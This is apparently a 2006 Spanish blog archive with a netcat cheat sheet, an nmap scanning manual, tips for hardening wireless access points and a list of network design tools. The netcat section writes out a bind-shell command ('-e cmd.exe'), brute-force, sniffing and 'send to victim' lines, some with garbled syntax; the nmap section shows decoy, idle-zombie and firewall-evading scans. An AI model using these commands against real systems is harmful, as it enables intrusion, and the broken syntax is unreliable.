Wednesday, August 23, 2006

Usos de NetCat

Ejecutar un shell en máquina remota
nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Estudiar puertos
nc -v (puedes añadir otra -v)

Bruteforce en un puerto
nc -v 79 < user.txt > log.txt
(envía user.txt y guarda la respuesta en log.txt)

Scanner de puertos en localhost (rango 1-53)
nc -v -v -z 127.0.0.1 1-53

Sniffer en pantalla
nc -v -v -L 127.0.0.1 -p 23

Sniffer en un log
nc -v -v -L -p 23 127.0.0.1 -t >login.txt

Conexiones no autorizadas en un puerto
nc -u -v -v -L -p 31337 127.0.0.1 31337

Mandar un archivo a víctima
nc -v -v -L -p 21 nombre del host -t < login.txt

Breve manual sobre uno de los clásicos, el escaneador de puertos "nmap"

Nmap es un programa para entornos Linux diseñado para escanear redes y determinar que servidores se encuentran activos y que servicios ofrecen. Nmap proporciona tambien caracteristicas avanzadas como la detección remota del sistema operativo por medio de huellas TCP/IP , escaneo tipo stealth (oculto), retraso dinámico y cálculos de retransmisión, escaneo paralelo, detección de servidores inactivos por medio de pings paralelos, escaneo con señuelos,etc. Vamos a ver algunas de las posibilidades que ofrece:

Tipos de escaneo

-sT(Escaneo TCP connect())
Se usa para establecer una conexion con todos los puertos interesantes de la máquina

-sS (Escaneo TCP SYN)
No abre una conexión TCP completa. Se envia un paquete SYN y se espera a la respuesta. Un SYN/ACK indica que el puerto está a la escucha y se envia un RST para cortar la conexión. Se necesitan privilegios de Root para construir estos paquetes

-sF -sX -sN(Modos Stealth FIN, Xmas Tree o Nul scan)
La idea es que se requie re que los puertos cerrados respondan a nuestro paquete de prueba con un RST, mientras que los puertos abiertos deben ignorar los paquetes en cuestion
El escaneo FIN utiliza un paquete FIN vacio (sorpresa) como prueba,Xmas tree
activa las flags FIN, URG y PUSH y NULL desactiva todas las flags.Si el escaneo encuentra puertos cerrados, probablemente se trate de una maquina UNIX, mientras que todos los puertos abiertos es indicativo de Windows.

-sP (Escaneo ping)
Algunos sitios web como microsoft.com pueden rechazar este tipo de paquetes

-sU (Escaneo Udp)
Este metodo se usa para saber que puertos UDP (Protocolo de Datagrama de Usuario, RFC 768) estan abiertos en un servidor.

-b (ataque de rebote ftp)
Se usa un servidor ftp que este detras de un firewall como proxy para escanear las máquinas que puedan estar detras del mismo. El formato es:nombre_de_usuario:password@servidor:puerto

Archivos interesantes de nmap

/usr/share/nmap

8 drwxr-xr-x 2 root root 4096 Feb 17 14:34 .
8 drwxr-xr-x 162 root root 4096 Feb 18 16:41 ..
12 -rw-r--r-- 1 root root 8107 Apr 21 2008 nmap.dtd
192 -rw-r--r-- 1 root root 186909 Apr 21 2008 nmap-mac-prefixes
624 -rw-r--r-- 1 root root 627864 Apr 21 2008 nmap-os-fingerprints
16 -rw-r--r-- 1 root root 8361 Apr 21 2008 nmap-protocols
20 -rw-r--r-- 1 root root 15985 Apr 21 2008 nmap-rpc
180 -rw-r--r-- 1 root root 172950 Apr 21 2008 nmap-service-probes
116 -rw-r--r-- 1 root root 106784 Apr 21 2008 nmap-services
24 -rw-r--r-- 1 root root 18978 Apr 21 2008 nmap.xsl


Opciones Generales

-p0
No intenta hacer ping a un servidor antes de escanearlo.(microsoft.com)

-PT
Usa el ping TCP para determinar que servidores estan activos. En vez de enviar paquetes de peticion de ecos ICMP y esperar una respuesta, se lanzan paquetes TCP ACK y se espera a que lleguen las respuestas.

-PS
Esta opcion usa paquetes SYN en vez de los paquetes ACK para usuarios root.

-PI
Esta opcion usa una peticion de eco ICMP. Encuentra servidores que estan activos y tambien busca direcciones de broadcast dirigidas a subredes en una red. Se trata de direcciones

-PB
Este es el tipo de ping por defecto. Usa los barridos ACK ( -PT ) e ICMP ( -PI ) en paralelo.

-O
Esta opcion activa la deteccion remota del sistema operativo por medio de la huella TCP/IP y lo compara con una base de datos de conocidas huellas TCP/IP para decidir que tipo de sistema se esta escaneando

-p
Esta opcion determina los puertos que se quieren especificar.

-i
Lee especificaciones de servidores o redes de destino a partir del archivo especificado en vez de hacerlo de la linea de comandos.

-g
Establece el numero de puerto de origen a usar en los escaneos.

-h
Ayuda sobre los comandos de nmap

--packet_trace
nmap imprime información detallada de cada paquete que envía y recibe

--version_trace
Resumen de packet_trace detallando la versión del servicio

-sI : Idle scan que se basa en numeros de secuencia predecibles para lanzar ataques a traves de equipos zombies (las impresoras jetdirect son buenas candidatas)

#nmap -p 3467 -P0 -sI IP_zombie IP_objetivo

-b : opción utilizada para realizar escaneos utilizando algunos servidores FTP como proxys o relays de escaneos. Tecnica de escaneos por rebote

-D : opción decoy para camuflar dentro de un rango de direcciones la IP de origen del escaneo

#nmap -P0 -D IP_decoy IP_objetivo

-L : opción que permite listar y resolver Ips sin escanear

#nmap -sL 192.168.2.1-120

EJEMPLOS

#nmap -v objetivo.ejemplo.com

Escanear todos los puertos TCP reservados de una maquina

#nmap -v -p 80 '*.*.2.3-5'

Encontrar servidores web en maquinas cuyas direcciones IP terminen en .2.3, .2.4

#nmap -v -sS -O www.miweb.net 192.168.2.0/24 '192.88-90.*.*'

Escanea con SYNs detectando el sistema operativo destino en diferentes hosts

#nmap -p 443 -O -sV 192.168.2.1

Escanea el puerto 443 del host intentando adivinar las aplicaciones que se ejecutan

#nmap -sU -A -T Insane 192.168.2.1

Escanea con UDP y -A=( -sV y -O) de forma agresiva presentando resultados rápidos

#nmap -T Insane -n -O -sS 192.168.2.*

Escanea toda la red con SYNs de forma agresiva y detectando sistemas operativos

#nmap -oA nmaplog 192.168.2.1

Escanea y escribe logs de diferentes tipos al archivo nmaplog

#nmap -p 3389 -P0 -sF 192.168.2.1 FIN SCAN

Escanea con FIN scan sin ping el puerto 3389. Más silencioso para los FWs/IDSs

Cuando un puerto está cerrado habitualmente el host responde con un RESET , cuando está abierto o filtrado no envía nada por lo que se puede obtener un listado de puertos decente si esto lo combinamos con la opción -sV que nos dice el tipo de servicio que está escuchando

#nmap -p 3389 -P0 -sX 192.168.2.1 XMAS SCAN

Similar al FIN scan pero activa los flags URG y PUSH

#nmap -p 3389 -P0 -sN 192.168.2.1 NULL SCAN

No activa flags de los paquetes

#nmap -P0 --packet_trace 192.168.2.1

Escanea con trazas detalladas

Thursday, August 10, 2006

10 pasos para blindar APs

1.Usar WPA-PSK[1] con tkip[2] (AES[3] tira demasiado de CPU en los aps baratos)
2.Establecer una laaaaaarga contraseña WPA-PSK[4]
3.Baja la potencia de transmisión, algunos firmwares cómo sveasoft[5] para linksys te dan esa posibilidad, si no es el caso, orienta las antenas hacia el suelo, mételo en un armario, o pinta la habitación[6]
4.Si utilizas tarjetas 802.11g, selecciona ese modo en el AP, (no el híbrido b/g),
así aumentarás el rendimiento y alejarás a las wifi-suckers que están haciendo wardriving
con sus tarjetas con chipset Prism. Además, algunos ataques DOS[7] no son practicables en modo g nativo con tarjetas b, algo parecido en Draft 1.0 IEEE 802.11n[8], selecciona el modo "turbo/N/buzzword" para únicamente permitir la conexión a tus dispositivos
5.Habilita el HTTPS en el router y usa exclusivamente ese método para conectarte a él, así por lo menos, los sniffer de aire no te leerán las pass en texto plano, si ya, con un MITM [9] te la pueden leer igual, pero mejor poco que nada :)
6.El filtrado MAC es muy fácil de saltar y un coñazo de mantener, más si tienes varios APs y muchxs colegas...
7.Si puedes segmentar la red, háztelo ahí, así tu tráfico "cableado" nunca saldrá al aire.
8.Activa el modo de aislamiento(se llama PSPF en cisco, en linksys se llama Wireless Cliente isolation mode, y cada fabricante le llama de una manera...) con lo que evitas la comunicación entre clientes en la capa 2..tendrás que inhabilitarlo si quieres imprimir, conectar a otro cliente...
9.Cambia la MAC de tu AP, si el firmware te lo permite, clona la MAC WAN[10], o simplemente identifícalo con una MAC de otro fabricante
10.Desactiva TODO lo que no estés usando en el AP (UpnP, STP, etc), si tienes un servidor montado, tunela con OpenVPN[11]

[1].-http://www.ubuntu-es.org/node/12416
[2].-http://en.wikipedia.org/wiki/TKIP
[3].-http://es.wikipedia.org/wiki/AES
[4].-http://www.kurtm.net/wpa-pskgen/
[5].-http://barrapunto.com/article.pl?sid=05/01/16/1646228&mode=thread
[6].-http://www.forcefieldwireless.com/products.html
[7].-http://en.wikipedia.org/wiki/Denial-of-service_attack
[8].-http://www.camyna.com/wordpress/?p=1151
[9].-http://en.wikipedia.org/wiki/MITM
[10].-http://docs.sveasoft.com/SV-WRT54GHardware.html
[11].-http://openvpn.net/

Algo de Wifi

Network Simulator tiene un wiki nuevo..
Las Pruebas de concepto de Raw Wireless están muy interesantes
Hasta el 20 de agosto se está desplegando el Wireless Comunity Camp...muy interesante
Esta distro promete, pero sólo para Atheros :(
En este link está las compatibilidades con aircrack-ng

Friday, August 04, 2006

Herramientas de diseño de redes

Open Source
Nagios
OpenNMS,
son, en mi opinión, muy rudimentarias
knetmap
Es perfecta, problema que sólo es para KDE, y Linux, of course

Comercial
SmartDraw™
Visio
netViz™
Neon LANsurveyor

Conclusión
Si lo que quieres es que el torpe de tu jefe se entere de lo que hay,
habla con San Antonio (aka Patrón de los imposibles)
y si comunica, con SmartDraw&trade y Visio vas que te matas.

Si quieres tener medianamente documentada tu red:
netViz&trade y LANSurveyor.